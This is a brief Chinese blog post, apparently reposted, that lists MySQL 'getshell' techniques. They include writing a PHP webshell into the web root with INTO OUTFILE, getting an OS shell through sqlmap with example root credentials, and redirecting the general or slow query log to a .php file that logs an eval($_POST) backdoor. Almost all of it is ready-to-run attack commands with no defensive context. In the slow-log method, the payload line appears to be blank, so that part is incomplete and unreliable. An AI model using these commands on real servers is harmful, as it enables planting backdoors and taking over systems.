mysql的getshell方式
Posted light_wind的博客
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql的getshell方式相关的知识,希望对你有一定的参考价值。
方式一:
条件:
对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置 –secure-file-priv(secure-file-priv=空)
show global variables like \'%secure%\'; ##查看secure-file-priv值
select group_concat(user,0x3a,file_priv) from mysql.user; ##查看当前用户是否有写权限,Y代表有
select \'<?php phpinfo() ?>\' into outfile \'/www/work/webshell.php\'; ##写shell多种方式outfile,dumpfile,具体分析 若内容存在引号,会存在语法错误
解决办法:在单引号前再加单引号,实现转义
知道密码情况下或者也可sqlmap连接
sqlmap.py -d "mysql://root:123456@xx.xx.xx.xx:3306/mysql" --os-shell
方式二:全局日志
show variables like \'%general%\'; set global general_log = on;
set global general_log_file = \'/www/xx.php\'; select \'<?php eval($_POST[\'apple\']);?>\';
修改为原来路径,再关闭
set global general_log_file=\'/xxx/xxxx\' set global general_log = off;
方式三:慢查询getshell(比全局日志好,全局日志太大,shell容易500,慢查询日志体积小)
show variables like \'%slow%\';
set GLOBAL slow_query_log_file=\'C:/phpStudy/PHPTutorial/WWW/slow.php\';
set GLOBAL slow_query_log=on; set GLOBAL log_queries_not_using_indexes=on;
select \'\' from mysql.db where sleep(10);
以上是关于mysql的getshell方式的主要内容,如果未能解决你的问题,请参考以下文章